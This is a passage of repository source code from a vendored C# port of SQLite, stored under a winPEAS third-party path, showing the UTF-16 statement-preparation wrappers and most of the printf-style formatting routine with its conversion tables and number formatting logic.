SQLITE_OMIT_UTF16\n\n/*\n** Compile the UTF-16 encoded SQL statement zSql into a statement handle.\n*/\nstatic int sqlite3Prepare16(\nsqlite3 db,              /* Database handle. */\nstring zSql,             /* UTF-8 encoded SQL statement. */\nint nBytes,              /* Length of zSql in bytes. */\nbool saveSqlFlag,         /* True to save SQL text into the sqlite3_stmt */\nref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */\nref string pzTail        /* OUT: End of parsed string */\n){\n/* This function currently works by first transforming the UTF-16\n** encoded string to UTF-8, then invoking sqlite3_prepare(). The\n** tricky bit is figuring out the pointer to return in pzTail.\n*/\nstring zSql8;\nstring zTail8 = \"\";\nint rc = SQLITE_OK;\n\nassert( ppStmt );\n*ppStmt = 0;\nif( !sqlite3SafetyCheckOk(db) ){\nreturn SQLITE_MISUSE;\n}\nsqlite3_mutex_enter(db.mutex);\nzSql8 = sqlite3Utf16to8(db, zSql, nBytes);\nif( zSql8 !=\"\"){\nrc = sqlite3LockAndPrepare(db, zSql8, -1, saveSqlFlag, ref ppStmt, ref zTail8);\n}\n\nif( zTail8 !=\"\" && pzTail !=\"\"){\n/* If sqlite3_prepare returns a tail pointer, we calculate the\n** equivalent pointer into the UTF-16 string by counting the unicode\n** characters between zSql8 and zTail8, and then returning a pointer\n** the same number of characters into the UTF-16 string.\n*/\nDebugger.Break (); // TODO --\n//  int chars_parsed = sqlite3Utf8CharLen(zSql8, (int)(zTail8-zSql8));\n//  pzTail = (u8 *)zSql + sqlite3Utf16ByteLen(zSql, chars_parsed);\n}\n//sqlite3DbFree(db,ref zSql8);\nrc = sqlite3ApiExit(db, rc);\nsqlite3_mutex_leave(db.mutex);\nreturn rc;\n}\n\n/*\n** Two versions of the official API.  Legacy and new use.  In the legacy\n** version, the original SQL text is not saved in the prepared statement\n** and so if a schema change occurs, SQLITE_SCHEMA is returned by\n** sqlite3_step().  In the new version, the original SQL text is retained\n** and the statement is automatically recompiled if an schema change\n** occurs.\n*/\npublic static int sqlite3_prepare16(\nsqlite3 db,               /* Database handle. */\nstring zSql,              /* UTF-8 encoded SQL statement. */\nint nBytes,               /* Length of zSql in bytes. */\nref sqlite3_stmt ppStmt,  /* OUT: A pointer to the prepared statement */\nref string pzTail         /* OUT: End of parsed string */\n){\nint rc;\nrc = sqlite3Prepare16(db,zSql,nBytes,false,ref ppStmt,ref pzTail);\nDebug.Assert( rc==SQLITE_OK || ppStmt==null || ppStmt==null );  /* VERIFY: F13021 */\nreturn rc;\n}\npublic static int sqlite3_prepare16_v2(\nsqlite3 db,               /* Database handle. */\nstring zSql,              /* UTF-8 encoded SQL statement. */\nint nBytes,               /* Length of zSql in bytes. */\nref sqlite3_stmt ppStmt,  /* OUT: A pointer to the prepared statement */\nref string pzTail         /* OUT: End of parsed string */\n)\n{\nint rc;\nrc = sqlite3Prepare16(db,zSql,nBytes,true,ref ppStmt,ref pzTail);\nDebug.Assert( rc==SQLITE_OK || ppStmt==null || ppStmt==null );  /* VERIFY: F13021 */\nreturn rc;\n}\n\n#endif // * SQLITE_OMIT_UTF16 */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/printf_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Text;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using etByte = System.Boolean;\n  using i64 = System.Int64;\n  using LONGDOUBLE_TYPE = System.Double;\n  using va_list = System.Object;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** The \"printf\" code that follows dates from the 1980's.  It is in\n    ** the public domain.  The original comments are included here for\n    ** completeness.  They are very out-of-date but might be useful as\n    ** an historical reference.  Most of the \"enhancements\" have been backed\n    ** out so that the functionality is now the same as standard printf().\n    **\n    ** $Id: printf.c,v 1.104 2009/06/03 01:24:54 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    **\n    **************************************************************************\n    **\n    ** The following modules is an enhanced replacement for the \"printf\" subroutines\n    ** found in the standard C library.  The following enhancements are\n    ** supported:\n    **\n    **      +  Additional functions.  The standard set of \"printf\" functions\n    **         includes printf, fprintf, sprintf, vprintf, vfprintf, and\n    **         vsprintf.  This module adds the following:\n    **\n    **           *  snprintf -- Works like sprintf, but has an extra argument\n    **                          which is the size of the buffer written to.\n    **\n    **           *  mprintf --  Similar to sprintf.  Writes output to memory\n    **                          obtained from malloc.\n    **\n    **           *  xprintf --  Calls a function to dispose of output.\n    **\n    **           *  nprintf --  No output, but returns the number of characters\n    **                          that would have been output by printf.\n    **\n    **           *  A v- version (ex: vsnprintf) of every function is also\n    **              supplied.\n    **\n    **      +  A few extensions to the formatting notation are supported:\n    **\n    **           *  The \"=\" flag (similar to \"-\") causes the output to be\n    **              be centered in the appropriately sized field.\n    **\n    **           *  The %b field outputs an integer in binary notation.\n    **\n    **           *  The %c field now accepts a precision.  The character output\n    **              is repeated by the number of times the precision specifies.\n    **\n    **           *  The %' field works like %c, but takes as its character the\n    **              next character of the format string, instead of the next\n    **              argument.  For example,  printf(\"%.78'-\")  prints 78 minus\n    **              signs, the same as  printf(\"%.78c\",'-').\n    **\n    **      +  When compiled using GCC on a SPARC, this version of printf is\n    **         faster than the library printf for SUN OS 4.1.\n    **\n    **      +  All functions are fully reentrant.\n    **\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** Conversion types fall into various categories as defined by the\n    ** following enumeration.\n    */\n    //#define etRADIX       1 /* Integer types.  %d, %x, %o, and so forth */\n    //#define etFLOAT       2 /* Floating point.  %f */\n    //#define etEXP         3 /* Exponentional notation. %e and %E */\n    //#define etGENERIC     4 /* Floating or exponential, depending on exponent. %g */\n    //#define etSIZE        5 /* Return number of characters processed so far. %n */\n    //#define etSTRING      6 /* Strings. %s */\n    //#define etDYNSTRING   7 /* Dynamically allocated strings. %z */\n    //#define etPERCENT     8 /* Percent symbol. %% */\n    //#define etCHARX       9 /* Characters. %c */\n    ///* The rest are extensions, not normally found in printf() */\n    //#define etSQLESCAPE  10 /* Strings with '\\'' doubled.  %q */\n    //#define etSQLESCAPE2 11 /* Strings with '\\'' doubled and enclosed in '',\n    //                          NULL pointers replaced by SQL NULL.  %Q */\n    //#define etTOKEN      12 /* a pointer to a Token structure */\n    //#define etSRCLIST    13 /* a pointer to a SrcList */\n    //#define etPOINTER    14 /* The %p conversion */\n    //#define etSQLESCAPE3 15 /* %w -> Strings with '\\\"' doubled */\n    //#define etORDINAL    16 /* %r -> 1st, 2nd, 3rd, 4th, etc.  English only */\n\n    //#define etINVALID     0 /* Any unrecognized conversion type */\n\n    const int etRADIX = 1; /* Integer types.  %d, %x, %o, and so forth */\n    const int etFLOAT = 2; /* Floating point.  %f */\n    const int etEXP = 3; /* Exponentional notation. %e and %E */\n    const int etGENERIC = 4; /* Floating or exponential, depending on exponent. %g */\n    const int etSIZE = 5; /* Return number of characters processed so far. %n */\n    const int etSTRING = 6; /* Strings. %s */\n    const int etDYNSTRING = 7; /* Dynamically allocated strings. %z */\n    const int etPERCENT = 8; /* Percent symbol. %% */\n    const int etCHARX = 9; /* Characters. %c */\n    /* The rest are extensions, not normally found in printf() */\n    const int etSQLESCAPE = 10; /* Strings with '\\'' doubled.  %q */\n    const int etSQLESCAPE2 = 11; /* Strings with '\\'' doubled and enclosed in '',\nNULL pointers replaced by SQL NULL.  %Q */\n    const int etTOKEN = 12; /* a pointer to a Token structure */\n    const int etSRCLIST = 13; /* a pointer to a SrcList */\n    const int etPOINTER = 14; /* The %p conversion */\n    const int etSQLESCAPE3 = 15; /* %w . Strings with '\\\"' doubled */\n    const int etORDINAL = 16; /* %r . 1st, 2nd, 3rd, 4th, etc.  English only */\n    const int etINVALID = 0; /* Any unrecognized conversion type */\n\n    /*\n    ** An \"etByte\" is an 8-bit unsigned value.\n    */\n    //typedef unsigned char etByte;\n\n    /*\n    ** Each builtin conversion character (ex: the 'd' in \"%d\") is described\n    ** by an instance of the following structure\n    */\n    public class et_info\n    {   /* Information about each format field */\n      public char fmttype;            /* The format field code letter */\n      public byte _base;             /* The _base for radix conversion */\n      public byte flags;            /* One or more of FLAG_ constants below */\n      public byte type;             /* Conversion paradigm */\n      public byte charset;          /* Offset into aDigits[] of the digits string */\n      public byte prefix;           /* Offset into aPrefix[] of the prefix string */\n      /*\n      * Constructor\n      */\n      public et_info( char fmttype,\n      byte _base,\n      byte flags,\n      byte type,\n      byte charset,\n      byte prefix\n      )\n      {\n        this.fmttype = fmttype;\n        this._base = _base;\n        this.flags = flags;\n        this.type = type;\n        this.charset = charset;\n        this.prefix = prefix;\n      }\n\n    }\n\n    /*\n    ** Allowed values for et_info.flags\n    */\n    const byte FLAG_SIGNED = 1;    /* True if the value to convert is signed */\n    const byte FLAG_INTERN = 2;    /* True if for internal use only */\n    const byte FLAG_STRING = 4;    /* Allow infinity precision */\n\n\n    /*\n    ** The following table is searched linearly, so it is good to put the\n    ** most frequently used conversion types first.\n    */\n    static string aDigits = \"0123456789ABCDEF0123456789abcdef\";\n    static string aPrefix = \"-x0\\000X0\";\n    static et_info[] fmtinfo = new et_info[] {\nnew et_info(  'd', 10, 1, etRADIX,      0,  0 ),\nnew et_info(   's',  0, 4, etSTRING,     0,  0 ),\nnew et_info(   'g',  0, 1, etGENERIC,    30, 0 ),\nnew et_info(   'z',  0, 4, etDYNSTRING,  0,  0 ),\nnew et_info(   'q',  0, 4, etSQLESCAPE,  0,  0 ),\nnew et_info(   'Q',  0, 4, etSQLESCAPE2, 0,  0 ),\nnew et_info(   'w',  0, 4, etSQLESCAPE3, 0,  0 ),\nnew et_info(   'c',  0, 0, etCHARX,      0,  0 ),\nnew et_info(   'o',  8, 0, etRADIX,      0,  2 ),\nnew et_info(   'u', 10, 0, etRADIX,      0,  0 ),\nnew et_info(   'x', 16, 0, etRADIX,      16, 1 ),\nnew et_info(   'X', 16, 0, etRADIX,      0,  4 ),\n#if !SQLITE_OMIT_FLOATING_POINT\nnew et_info(   'f',  0, 1, etFLOAT,      0,  0 ),\nnew et_info(   'e',  0, 1, etEXP,        30, 0 ),\nnew et_info(   'E',  0, 1, etEXP,        14, 0 ),\nnew et_info(   'G',  0, 1, etGENERIC,    14, 0 ),\n#endif\nnew et_info(   'i', 10, 1, etRADIX,      0,  0 ),\nnew et_info(   'n',  0, 0, etSIZE,       0,  0 ),\nnew et_info(   '%',  0, 0, etPERCENT,    0,  0 ),\nnew et_info(   'p', 16, 0, etPOINTER,    0,  1 ),\n\n/* All the rest have the FLAG_INTERN bit set and are thus for internal\n** use only */\nnew et_info(   'T',  0, 2, etTOKEN,      0,  0 ),\nnew et_info(   'S',  0, 2, etSRCLIST,    0,  0 ),\nnew et_info(   'r', 10, 3, etORDINAL,    0,  0 ),\n};\n    /*\n    ** If SQLITE_OMIT_FLOATING_POINT is defined, then none of the floating point\n    ** conversions will work.\n    */\n#if  !SQLITE_OMIT_FLOATING_POINT\n    /*\n** \"*val\" is a double such that 0.1 <= *val < 10.0\n** Return the ascii code for the leading digit of *val, then\n** multiply \"*val\" by 10.0 to renormalize.\n**\n** Example:\n**     input:     *val = 3.14159\n**     output:    *val = 1.4159    function return = '3'\n**\n** The counter *cnt is incremented each time.  After counter exceeds\n** 16 (the number of significant digits in a 64-bit float) '0' is\n** always returned.\n*/\n    static char et_getdigit( ref LONGDOUBLE_TYPE val, ref int cnt )\n    {\n      int digit;\n      LONGDOUBLE_TYPE d;\n      if ( cnt++ >= 16 ) return '\\0';\n      digit = (int)val;\n      d = digit;\n      //digit += '0';\n      val = ( val - d ) * 10.0;\n      return (char)digit;\n    }\n#endif // * SQLITE_OMIT_FLOATING_POINT */\n\n    /*\n** Append N space characters to the given string buffer.\n*/\n    static void appendSpace( StrAccum pAccum, int N )\n    {\n      //static const char zSpaces[] = \"                             \";\n      //while( N>=zSpaces.Length-1 ){\n      //  sqlite3StrAccumAppend(pAccum, zSpaces, zSpaces.Length-1);\n      //  N -= zSpaces.Length-1;\n      //}\n      //if( N>0 ){\n      //  sqlite3StrAccumAppend(pAccum, zSpaces, N);\n      //}\n      pAccum.zText.AppendFormat( \"{0,\" + N + \"}\", \"\" );\n    }\n\n    /*\n    ** On machines with a small stack size, you can redefine the\n    ** SQLITE_PRINT_BUF_SIZE to be less than 350.\n    */\n#if !SQLITE_PRINT_BUF_SIZE\n# if (SQLITE_SMALL_STACK)\nconst int SQLITE_PRINT_BUF_SIZE = 50;\n# else\n    const int SQLITE_PRINT_BUF_SIZE = 350;\n#endif\n#endif\n    const int etBUFSIZE = SQLITE_PRINT_BUF_SIZE; /* Size of the output buffer */\n\n    /*\n    ** The root program.  All variations call this core.\n    **\n    ** INPUTS:\n    **   func   This is a pointer to a function taking three arguments\n    **            1. A pointer to anything.  Same as the \"arg\" parameter.\n    **            2. A pointer to the list of characters to be output\n    **               (Note, this list is NOT null terminated.)\n    **            3. An integer number of characters to be output.\n    **               (Note: This number might be zero.)\n    **\n    **   arg    This is the pointer to anything which will be passed as the\n    **          first argument to \"func\".  Use it for whatever you like.\n    **\n    **   fmt    This is the format string, as in the usual print.\n    **\n    **   ap     This is a pointer to a list of arguments.  Same as in\n    **          vfprint.\n    **\n    ** OUTPUTS:\n    **          The return value is the total number of characters sent to\n    **          the function \"func\".  Returns -1 on a error.\n    **\n    ** Note that the order in which automatic variables are declared below\n    ** seems to make a big difference in determining how fast this beast\n    ** will run.\n    */\n    static void sqlite3VXPrintf(\n    StrAccum pAccum,             /* Accumulate results here */\n    int useExtended,             /* Allow extended %-conversions */\n    string fmt,                   /* Format string */\n    va_list[] ap                   /* arguments */\n    )\n    {\n      int c;                     /* Next character in the format string */\n      int bufpt;                 /* Pointer to the conversion buffer */\n      int precision;             /* Precision of the current field */\n      int length;                /* Length of the field */\n      int idx;                   /* A general purpose loop counter */\n      int width;                 /* Width of the current field */\n      etByte flag_leftjustify;   /* True if \"-\" flag is present */\n      etByte flag_plussign;      /* True if \"+\" flag is present */\n      etByte flag_blanksign;     /* True if \" \" flag is present */\n      etByte flag_alternateform; /* True if \"#\" flag is present */\n      etByte flag_altform2;      /* True if \"!\" flag is present */\n      etByte flag_zeropad;       /* True if field width constant starts with zero */\n      etByte flag_long;          /* True if \"l\" flag is present */\n      etByte flag_longlong;      /* True if the \"ll\" flag is present */\n      etByte done;               /* Loop termination flag */\n      i64 longvalue;\n      LONGDOUBLE_TYPE realvalue; /* Value for real types */\n      et_info infop;      /* Pointer to the appropriate info structure */\n      char[] buf = new char[etBUFSIZE];       /* Conversion buffer */\n      char prefix;                /* Prefix character.  \"+\" or \"-\" or \" \" or '\\0'. */\n      byte xtype = 0;             /* Conversion paradigm */\n      // Not used in C# -- string zExtra;              /* Extra memory used for etTCLESCAPE conversions */\n#if !SQLITE_OMIT_FLOATING_POINT\n      int exp, e2;                /* exponent of real numbers */\n      double rounder;             /* Used for rounding floating point values */\n      etByte flag_dp;             /* True if decimal point should be shown */\n      etByte flag_rtz;            /* True if trailing zeros should be removed */\n      etByte flag_exp;            /* True to force display of the exponent */\n      int nsd;                    /* Number of significant digits returned */\n#endif\n      length = 0;\n      bufpt = 0;\n      int _fmt = 0; // Work around string pointer\n      fmt += '\\0';\n\n      for ( ; _fmt <= fmt.Length && ( c = fmt[_fmt] ) != 0 ; ++_fmt )\n      {\n        if ( c != '%' )\n        {\n          int amt;\n          bufpt = _fmt;\n          amt = 1;\n          while ( _fmt < fmt.Length && ( c = ( fmt[++_fmt] ) ) != '%' && c != 0 ) amt++;\n          sqlite3StrAccumAppend( pAccum, fmt.Substring( bufpt, amt ), amt );\n          if ( c == 0 ) break;\n        }\n        if ( _fmt < fmt.Length && ( c = ( fmt[++_fmt] ) ) == 0 )\n        {\n          sqlite3StrAccumAppend( pAccum, \"%\", 1 );\n          break;\n        }\n        /* Find out what flags are present */\n        flag_leftjustify = flag_plussign = flag_blanksign =\n        flag_alternateform = flag_altform2 = flag_zeropad = false;\n        done = false;\n        do\n        {\n          switch ( c )\n          {\n            case '-': flag_leftjustify = true; break;\n            case '+': flag_plussign = true; break;\n            case ' ': flag_blanksign = true; break;\n            case '#': flag_alternateform = true; break;\n            case '!': flag_altform2 = true; break;\n            case '0': flag_zeropad = true; break;\n            default: done = true; break;\n          }\n        } while ( !done && _fmt < fmt.Length - 1 && ( c = ( fmt[++_fmt] ) ) != 0 );\n        /* Get the field width */\n        width = 0;\n        if ( c == '*' )\n        {\n          width = (int)va_arg( ap, \"int\" );\n          if ( width < 0 )\n          {\n            flag_leftjustify = true;\n            width = -width;\n          }\n          c = fmt[++_fmt];\n        }\n        else\n        {\n          while ( c >= '0' && c <= '9' )\n          {\n            width = width * 10 + c - '0';\n            c = fmt[++_fmt];\n          }\n        }\n        if ( width > etBUFSIZE - 10 )\n        {\n          width = etBUFSIZE - 12;\n        }\n        /* Get the precision */\n        if ( c == '.' )\n        {\n          precision = 0;\n          c = fmt[++_fmt];\n          if ( c == '*' )\n          {\n            precision = (int)va_arg( ap, \"int\" );\n            if ( precision < 0 ) precision = -precision;\n            c = fmt[++_fmt];\n          }\n          else\n          {\n            while ( c >= '0' && c <= '9' )\n            {\n              precision = precision * 10 + c - '0';\n              c = fmt[++_fmt];\n            }\n          }\n        }\n        else\n        {\n          precision = -1;\n        }\n        /* Get the conversion type modifier */\n        if ( c == 'l' )\n        {\n          flag_long = true;\n          c = fmt[++_fmt];\n          if ( c == 'l' )\n          {\n            flag_longlong = true;\n            c = fmt[++_fmt];\n          }\n          else\n          {\n            flag_longlong = false;\n          }\n        }\n        else\n        {\n          flag_long = flag_longlong = false;\n        }\n        /* Fetch the info entry for the field */\n        infop = fmtinfo[0];\n        xtype = etINVALID;\n        for ( idx = 0 ; idx < ArraySize( fmtinfo ) ; idx++ )\n        {\n          if ( c == fmtinfo[idx].fmttype )\n          {\n            infop = fmtinfo[idx];\n            if ( useExtended != 0 || ( infop.flags & FLAG_INTERN ) == 0 )\n            {\n              xtype = infop.type;\n            }\n            else\n            {\n              return;\n            }\n            break;\n          }\n        }\n        //zExtra = null;\n\n        /* Limit the precision to prevent overflowing buf[] during conversion */\n        if ( precision > etBUFSIZE - 40 && ( infop.flags & FLAG_STRING ) == 0 )\n        {\n          precision = etBUFSIZE - 40;\n        }\n\n        /*\n        ** At this point, variables are initialized as follows:\n        **\n        **   flag_alternateform          TRUE if a '#' is present.\n        **   flag_altform2               TRUE if a '!' is present.\n        **   flag_plussign               TRUE if a '+' is present.\n        **   flag_leftjustify            TRUE if a '-' is present or if the\n        **                               field width was negative.\n        **   flag_zeropad                TRUE if the width began with 0.\n        **   flag_long                   TRUE if the letter 'l' (ell) prefixed\n        **                               the conversion character.\n        **   flag_longlong               TRUE if the letter 'll' (ell ell) prefixed\n        **                               the conversion character.\n        **   flag_blanksign              TRUE if a ' ' is present.\n        **   width                       The specified field width.  This is\n        **                               always non-negative.  Zero is the default.\n        **   precision                   The specified precision.  The default\n        **                               is -1.\n        **   xtype                       The class of the conversion.\n        **   infop                       Pointer to the appropriate info struct.\n        */\n        switch ( xtype )\n        {\n          case etPOINTER:\n            flag_longlong = true;// char*.Length == sizeof(i64);\n            flag_long = false;// char*.Length == sizeof(long);\n            /* Fall through into the next case */\n            goto case etRADIX;\n          case etORDINAL:\n          case etRADIX:\n            if ( ( infop.flags & FLAG_SIGNED ) != 0 )\n            {\n              i64 v;\n              if ( flag_longlong )\n              {\n                v = (long)va_arg( ap, \"i64\" );\n              }\n              else if ( flag_long )\n              {\n                v = (long)va_arg( ap, \"long int\" );\n              }\n              else\n              {\n                v = (int)va_arg( ap, \"int\" );\n              }\n              if ( v < 0 )\n              {\n                longvalue = -v;\n                prefix = '-';\n              }\n              else\n              {\n                longvalue = v;\n                if ( flag_plussign ) prefix = '+';\n                else if ( flag_blanksign ) prefix = ' ';\n                else prefix = '\\0';\n              }\n            }\n            else\n            {\n              if ( flag_longlong )\n              {\n                longvalue = (i64)va_arg( ap, \"longlong int\" );\n              }\n              else if ( flag_long )\n              {\n                longvalue = (i64)va_arg( ap, \"long int\" );\n              }\n              else\n              {\n                longvalue = (i64)va_arg( ap, \"long\" );\n              }\n              prefix = '\\0';\n            }\n            if ( longvalue == 0 ) flag_alternateform = false;\n            if ( flag_zeropad && precision < width - ( ( prefix != '\\0' ) ? 1 : 0 ) )\n            {\n              precision = width - ( ( prefix != '\\0' ) ? 1 : 0 );\n            }\n            bufpt = buf.Length;//[etBUFSIZE-1];\n            char[] _bufOrd = null;\n            if ( xtype == etORDINAL )\n            {\n              char[] zOrd = \"thstndrd\".ToCharArray();\n              int x = (int)( longvalue % 10 );\n              if ( x >= 4 || ( longvalue / 10 ) % 10 == 1 )\n              {\n                x = 0;\n              }\n              _bufOrd = new char[2];\n              _bufOrd[0] = zOrd[x * 2];\n              _bufOrd[1] = zOrd[x * 2 + 1];\n              //bufpt -= 2;\n            }\n            {\n\n              char[] _buf;\n              switch ( infop._base )\n              {\n                case 16:\n                  _buf = longvalue.ToString( \"x\" ).ToCharArray();\n                  break;\n                case 8:\n                  _buf = Convert.ToString( (long)longvalue, 8 ).ToCharArray();\n                  break;\n                default:\n                  {\n                    if ( flag_zeropad )\n                      _buf = longvalue.ToString( new string( '0', width - ( ( prefix != '\\0' ) ? 1 : 0 ) ) ).ToCharArray();\n                    else\n                      _buf = longvalue.ToString().ToCharArray();\n                  }\n                  break;\n              }\n              bufpt = buf.Length - _buf.Length - ( _bufOrd == null ? 0 : 2 );\n              Array.Copy( _buf, 0, buf, bufpt, _buf.Length );\n              if ( _bufOrd != null )\n              {\n                buf[buf.Length - 1] = _bufOrd[1];\n                buf[buf.Length - 2] = _bufOrd[0];\n              }\n              //char* cset;      /* Use registers for speed */\n              //int _base;\n              //cset = aDigits[infop.charset];\n              //_base = infop._base;\n              //do\n              //{ /* Convert to ascii */\n              //   *(--bufpt) = cset[longvalue % (ulong)_base];\n              //  longvalue = longvalue / (ulong)_base;\n              //} while (longvalue > 0);\n            }\n            length = buf.Length - bufpt;//length = (int)(&buf[etBUFSIZE-1]-bufpt);\n            for ( idx = precision - length ; idx > 0 ; idx-- )\n            {\n              buf[( --bufpt )] = '0';                             /* Zero pad */\n            }\n            if ( prefix != '\\0' ) buf[--bufpt] = prefix;   /* Add sign */\n            if ( flag_alternateform && infop.prefix != 0 )\n            {      /* Add \"0\" or \"0x\" */\n              int pre;\n              char x;\n              pre = infop.prefix;\n              for ( ; ( x = aPrefix[pre] ) != 0 ; pre++ ) buf[--bufpt] = x;\n            }\n            length = buf.Length - bufpt;//length = (int)(&buf[etBUFSIZE-1]-bufpt);\n            break;\n          case etFLOAT:\n          case etEXP:\n          case etGENERIC:\n            realvalue = (double)va_arg( ap, \"double\" );\n#if !SQLITE_OMIT_FLOATING_POINT\n            if ( precision < 0 ) precision = 6;         /* Set default precision */\n            if ( precision > etBUFSIZE / 2 - 10 ) precision = etBUFSIZE / 2 - 10;\n            if ( realvalue < 0.0 )\n            {\n              realvalue = -realvalue;\n              prefix = '-';\n            }\n            else\n            {\n              if ( flag_plussign ) prefix = '+';\n              else if ( flag_blanksign ) prefix = ' ';\n              else prefix = '\\0';\n            }\n            if ( xtype == etGENERIC && precision > 0 ) precision--;\n#if FALSE\n/* Rounding works like BSD when the constant 0.4999 is used.  Wierd! */\nfor(idx=precision, rounder=0.4999; idx>0; idx--, rounder*=0.1);\n#else\n            /* It makes more sense to use 0.5 */\n            for ( idx = precision, rounder = 0.5 ; idx > 0 ; idx--, rounder *= 0.1 ) { }\n#endif\n            if ( xtype == etFLOAT ) realvalue += rounder;\n            /* Normalize realvalue to within 10.0 > realvalue >= 1.0 */\n            exp = 0;\n            double d = 0;\n            if ( Double.IsNaN( realvalue ) || !( Double.TryParse( Convert.ToString( realvalue ), out d ) ) )//if( sqlite3IsNaN((double)realvalue) )\n            {\n              buf = \"NaN\".ToCharArray();\n              length = 3;\n              break;\n            }\n            if ( realvalue > 0.0 )\n            {\n              while ( realvalue >= 1e32 && exp <= 350 ) { realvalue *= 1e-32; exp += 32; }\n              while ( realvalue >= 1e8 && exp <= 350 ) { realvalue *= 1e-8; exp += 8; }\n              while ( realvalue >= 10.0 && exp <= 350 ) { realvalue *= 0.1; exp++; }\n              while ( realvalue < 1e-8 ) { realvalue *= 1e8; exp -= 8; }\n              while ( realvalue < 1.0 ) { realvalue *= 10.0; exp--; }\n              if ( exp > 350 )\n              {\n                if ( prefix == '-' )\n                {\n                  buf = \"-Inf\".ToCharArray();\n                  bufpt = 4;\n                }\n                else if ( prefix == '+' )\n                {\n                  buf = \"+Inf\".ToCharArray();\n                  bufpt = 4;\n                }\n                else\n                {\n                  buf = \"Inf\".ToCharArray();\n                  bufpt = 3;\n                }\n                length = sqlite3Strlen30( bufpt );// sqlite3Strlen30(bufpt);\n                bufpt = 0;\n                break;\n              }\n            }\n            bufpt = 0;\n            /*\n            ** If the field type is etGENERIC, then convert to either etEXP\n            ** or etFLOAT, as appropriate.\n            */\n            flag_exp = xtype == etEXP;\n            if ( xtype != etFLOAT )\n            {\n              realvalue += rounder;\n              if ( realvalue >= 10.0 ) { realvalue *= 0.1; exp++; }\n            }\n            if ( xtype == etGENERIC )\n            {\n              flag_rtz = !flag_alternateform;\n              if ( exp < -4 || exp > precision )\n              {\n                xtype = etEXP;\n              }\n              else\n              {\n                precision = precision - exp;\n                xtype = etFLOAT;\n              }\n            }\n            else\n            {\n              flag_rtz = false;\n            }\n            if ( xtype == etEXP )\n            {\n              e2 = 0;\n            }\n            else\n            {\n              e2 = exp;\n            }\n            nsd = 0;\n            flag_dp = ( precision > 0 ? true : false ) | flag_alternateform | flag_altform2;\n            /* The sign in front of the number */\n            if ( prefix != '\\0' )\n            {\n              buf[bufpt++] = prefix;\n            }\n            /* Digits prior to the decimal point */\n            if ( e2 < 0 )\n            {\n              buf[bufpt++] = '0';\n            }\n            else\n            {\n              for ( ; e2 >= 0 ; e2-- )\n              {\n                buf[bufpt++] = (char)( et_getdigit( ref realvalue, ref nsd ) + '0' ); // *(bufpt++) = et_getdigit(ref realvalue, ref nsd);\n              }\n\n            }\n            /* The decimal point */\n            if ( flag_dp )\n            {\n              buf[bufpt++] = '.';\n            }\n            /* \"0\" digits after the decimal point but before the first\n            ** significant digit of the number */\n            for ( e2++ ; e2 < 0 ; precision--, e2++ )\n            {\n              Debug.Assert( precision > 0 );\n              buf[bufpt++] = '0';\n            }\n            /* Significant digits after the decimal point */\n            while ( ( precision-- ) > 0 )\n            {\n              buf[bufpt++] = (char)( et_getdigit( ref realvalue, ref nsd ) + '0' ); // *(bufpt++) = et_getdigit(&realvalue, nsd);\n            }\n            /* Remove trailing zeros and the \".\" if no digits follow the \".\" */\n            if ( flag_rtz && flag_dp )\n            {\n              while ( buf[bufpt - 1] == '0' ) buf[--bufpt] = '\\0';\n              Debug.Assert( bufpt > 0 );\n              if ( buf[bufpt - 1] == '.' )\n              {\n                if ( flag_altform2 )\n                {\n                  buf[( bufpt++ )] = '0';\n                }\n                else\n                {\n                  buf[( --bufpt )] = '0';\n                }\n              }\n            }\n            /* Add the \"eNNN\" suffix */\n            if ( flag_exp || xtype == etEXP )\n            {\n              buf[bufpt++] = aDigits[infop.charset];\n              if ( exp < 0 )\n              {\n                buf[bufpt++] = '-'; exp = -exp;\n              }\n              else\n              {\n                buf[bufpt++] = '+';\n              }\n              if ( exp >= 100 )\n              {\n                buf[bufpt++] = (char)( exp / 100 + '0' );                /* 100's digit */\n                exp %= 100;\n              }\n              buf[bufpt++] = (char)( exp / 10 + '0' );                     /* 10's digit */\n              buf[bufpt++] = (char)( exp % 10 + '0' );                     /* 1's digit */\n            }\n            //bufpt = 0;\n\n            /* The converted number is in buf[] and zero terminated. Output it.\n            ** Note that the number is in the usual order, not reversed as with\n            ** integer conversions. */\n            length = bufpt;//length = (int)(bufpt-buf);\n            bufpt = 0;\n\n            /* Special case:  Add leading zeros if the flag_zeropad flag is\n            ** set and we are not left justified */\n            if ( flag_zeropad && !flag_leftjustify && length < width )\n            {\n              int i;\n              int nPad = width - length;\n              for ( i = width ; i >= nPad ; i-- )\n              {\n                buf[bufpt + i] = buf[bufpt + i - nPad];\n              }\n              i = ( prefix != '\\0' ? 1 : 0 );\n              while ( nPad-- != 0 ) buf[( bufpt++ ) + i] = '0';\n              length = width;\n              bufpt = 0;\n            }\n#endif\n            break;\n          case etSIZE:\n            ap[0] = pAccum.nChar; // *(va_arg(ap,int*)) = pAccum.nChar;\n            length = width = 0;\n            break;\n          case etPERCENT:\n            buf[0] = '%';\n            bufpt = 0;\n            length = 1;\n            break;\n          case etCHARX:\n            c = (char)va_arg( ap, \"char\" );\n            buf[0] = (char)c;\n            if ( precision >= 0 )\n            {\n              for ( idx = 1 ; idx < precision ; idx++ ) buf[idx] = (char)c;\n              length = precision;\n            }\n            else\n            {\n              length = 1;\n            }\n            bufpt = 0;\n            break;\n          case etSTRING:\n          case etDYNSTRING:\n            bufpt = 0;//\n            string bufStr = (string)va_arg( ap, \"string\" );\n            if ( bufStr.Length > buf.Length ) buf = new char[bufStr.Length];\n            bufStr.ToCharArray().CopyTo( buf, 0 );\n            bufpt = bufStr.Length;\n            if ( bufpt == 0 )\n            {\n              buf[0] = '\\0';\n            }\n            else if ( xtype == etDYNSTRING )\n            {\n              //              zExtra = bufpt;\n            }\n            if ( precision >= 0 )\n            {\n              for ( length = 0 ; length < precision && length < bufStr.Length && buf[length] != 0 ; length++ ) { }\n              //length += precision;\n            }\n            else\n            {\n              length = sqlite3Strlen30( bufpt );\n            }\n            bufpt = 0;\n            break;\n          case etSQLESCAPE:\n          case 